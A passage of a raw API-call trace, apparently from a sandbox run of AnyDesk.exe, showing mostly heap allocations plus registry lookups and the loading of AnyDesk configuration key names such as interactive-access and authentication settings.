Size=0x10) returned 0x196a148 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x196a7b0 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196a160 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196b750 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196a178 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x196c0b8 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196a190 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x196a7f0 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196a1a8 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x196c118 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196a1c0 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x196d100 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196a1d8 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x196a830 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196a1f0 [0283.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x196a870 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196a208 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x196c160 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d148 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x196d530 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d160 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a) returned 0x196d580 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d178 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x48) returned 0x196d5d8 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d190 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x196d628 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d1a8 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x56) returned 0x196d680 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d1c0 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x196d6e0 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d1d8 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x196d740 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d1f0 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a) returned 0x196d7a0 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d208 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x196d7f8 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d220 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x62) returned 0x196d848 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d238 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x196d8b8 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d250 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4c) returned 0x196d910 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d268 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x22) returned 0x196d968 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d280 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x196b788 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d298 [0283.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x48) returned 0x196d9b0 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d2b0 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x196da00 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d2c8 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x196b7c0 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d2e0 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x196b7f8 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d2f8 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x46) returned 0x196da50 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d310 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x40) returned 0x196c1a8 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d328 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x196e998 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d340 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4c) returned 0x196e9f0 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d358 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x196ea48 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d370 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4c) returned 0x196eaa0 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d388 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x48) returned 0x196daa0 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d3a0 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x196daf0 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d3b8 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x196db40 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d3d0 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x196c1f0 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d3e8 [0283.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x196b830 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d400 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x196b868 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d418 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x196b8a0 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d430 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x196eaf8 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d448 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x196b8d8 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d460 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x196a8b0 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d478 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x196a8f0 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d490 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x196c238 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d4a8 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x40) returned 0x196c280 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d4c0 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x196db90 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d4d8 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x48) returned 0x196dbe0 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d4f0 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x196a930 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d508 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x196a970 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196eb40 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x196c2c8 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196eb58 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x40) returned 0x196c310 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196eb70 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x196a9b0 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196eb88 [0283.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x196a9f0 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196eba0 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x196c358 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196ebb8 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x196ef28 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196ebd0 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196b910 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196ebe8 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x196b948 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196ec00 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x196b980 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196ec18 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x46) returned 0x196dc30 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196ec30 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x196c3a0 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196ec48 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x196b9b8 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196ec60 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196b9f0 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196ec78 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x196c3e8 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196ec90 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x196aa30 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196eca8 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x40) returned 0x196c430 [0283.150] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196ecc0 [0283.153] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AnyDesk", ulOptions=0x0, samDesired=0x20019, phkResult=0x12d4a88 | out: phkResult=0x12d4a88*=0x178) returned 0x0 [0283.153] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19854b8 | out: hHeap=0x1930000) returned 1 [0283.153] RegQueryValueExW (in: hKey=0x178, lpValueName="InstallLocation", lpReserved=0x0, lpType=0x12d4a50, lpData=0x0, lpcbData=0x12d4a54*=0x0 | out: lpType=0x12d4a50*=0x1, lpData=0x0, lpcbData=0x12d4a54*=0x32) returned 0x0 [0283.153] RegQueryValueExW (in: hKey=0x178, lpValueName="InstallLocation", lpReserved=0x0, lpType=0x0, lpData=0x12d4a00, lpcbData=0x12d4a54*=0x34 | out: lpType=0x0, lpData=0x12d4a00*=0x22, lpcbData=0x12d4a54*=0x32) returned 0x0 [0283.153] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x12d2a4c, nSize=0x1000 | out: lpFilename="C:\\ProgramData\\AnyDesk\\AnyDesk.exe" (normalized: "c:\\programdata\\anydesk\\anydesk.exe")) returned 0x22 [0283.153] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196edc0 | out: hHeap=0x1930000) returned 1 [0283.153] PathCanonicalizeW (in: pszBuf=0x12d4ab0, pszPath="C:\\ProgramData\\AnyDesk\\AnyDesk.exe" | out: pszBuf="C:\\ProgramData\\AnyDesk\\AnyDesk.exe") returned 1 [0283.153] PathCanonicalizeW (in: pszBuf=0x12d4cb8, pszPath="C:\\ProgramData\\AnyDesk\\AnyDesk.exe" | out: pszBuf="C:\\ProgramData\\AnyDesk\\AnyDesk.exe") returned 1 [0283.153] GetLastError () returned 0x0 [0283.153] RegCloseKey (hKey=0x178) returned 0x0 [0283.154] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x1974320 [0283.154] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196fc20 [0283.154] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196b948 [0283.154] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xab8788, cbMultiByte=33, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 33 [0283.154] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x19793c0 [0283.154] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xab8788, cbMultiByte=33, lpWideCharStr=0x19793c0, cchWideChar=34 | out: lpWideCharStr="ad.security.interactive_access=0\ne") returned 33 [0283.154] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x1979370 [0283.154] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196fc08 [0283.154] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x1979320 [0283.154] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1979320 | out: hHeap=0x1930000) returned 1 [0283.154] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x197a128 [0283.154] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x197a098 [0283.155] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197a128 | out: hHeap=0x1930000) returned 1 [0283.155] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196eb50 [0283.155] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196edb0 [0283.155] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196edc0 [0283.155] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196edb0 | out: hHeap=0x1930000) returned 1 [0283.155] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eb50 | out: hHeap=0x1930000) returned 1 [0283.155] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eb50 [0283.155] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196b968 [0283.155] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x197a128 [0283.155] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eb50 | out: hHeap=0x1930000) returned 1 [0283.155] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196eb50 [0283.155] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196edc0 | out: hHeap=0x1930000) returned 1 [0283.155] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197a098 | out: hHeap=0x1930000) returned 1 [0283.156] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1979370 | out: hHeap=0x1930000) returned 1 [0283.156] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196fc08 | out: hHeap=0x1930000) returned 1 [0283.156] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19793c0 | out: hHeap=0x1930000) returned 1 [0283.156] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196b988 [0283.157] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196b988 | out: hHeap=0x1930000) returned 1 [0283.157] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1d) returned 0x1974cb8 [0283.157] GetLastError () returned 0x0 [0283.157] GetSystemTime (in: lpSystemTime=0x12d4e5c | out: lpSystemTime=0x12d4e5c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2c, wMilliseconds=0x239)) [0283.157] GetCurrentThreadId () returned 0x520 [0283.157] GetCurrentProcessId () returned 0x51c [0283.157] GetLastError () returned 0x0 [0283.158] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4e58 | out: phkResult=0x12d4e58*=0x0) returned 0x2 [0283.158] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19755a0 | out: hHeap=0x1930000) returned 1 [0283.158] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10eec, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 33 [0283.158] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x19793c0 [0283.158] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10eec, cbMultiByte=-1, lpWideCharStr=0x19793c0, cchWideChar=33 | out: lpWideCharStr="ad.anynet.accept_volatile_tokens") returned 33 [0283.158] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f220 [0283.158] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x19790a0 [0283.158] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19793c0 | out: hHeap=0x1930000) returned 1 [0283.158] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe81d0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0283.158] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1974c40 [0283.158] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe81d0, cbMultiByte=-1, lpWideCharStr=0x1974c40, cchWideChar=16 | out: lpWideCharStr="ad.anynet.alias") returned 16 [0283.158] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f238 [0283.158] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1974bf0 [0283.159] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1974c40 | out: hHeap=0x1930000) returned 1 [0283.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26f58, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0283.159] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19742b0 [0283.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26f58, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=24 | out: lpWideCharStr="ad.anynet.auth_disabled") returned 24 [0283.159] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f250 [0283.159] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x1973f30 [0283.159] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0fa80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0283.159] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19742b0 [0283.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0fa80, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=22 | out: lpWideCharStr="ad.anynet.auth_tokens") returned 22 [0283.159] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d148 [0283.159] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x198cc58 [0283.160] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c780, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0283.160] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1974c40 [0283.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c780, cbMultiByte=-1, lpWideCharStr=0x1974c40, cchWideChar=15 | out: lpWideCharStr="ad.anynet.cert") returned 15 [0283.160] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d160 [0283.160] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1975168 [0283.160] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1974c40 | out: hHeap=0x1930000) returned 1 [0283.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c724, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0283.160] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19742b0 [0283.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c724, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=22 | out: lpWideCharStr="ad.anynet.cli_ciphers") returned 22 [0283.160] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d178 [0283.160] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x198cc90 [0283.160] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1976660 [0283.160] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196b988 | out: hHeap=0x1930000) returned 1 [0283.161] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0283.161] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19742b0 [0283.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26f70, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=21 | out: lpWideCharStr="ad.anynet.conn_addrs") returned 21 [0283.161] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d190 [0283.161] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x198ccc8 [0283.161] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0fa98, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 34 [0283.161] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x19793c0 [0283.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0fa98, cbMultiByte=-1, lpWideCharStr=0x19793c0, cchWideChar=34 | out: lpWideCharStr="ad.anynet.connect_volatile_tokens") returned 34 [0283.161] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d1a8 [0283.161] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x1979050 [0283.162] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19793c0 | out: hHeap=0x1930000) returned 1 [0283.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9160, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0283.162] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19742b0 [0283.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9160, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=22 | out: lpWideCharStr="ad.anynet.cur_version") returned 22 [0283.162] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d1c0 [0283.162] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x198cd00 [0283.162] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd4640, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0283.163] 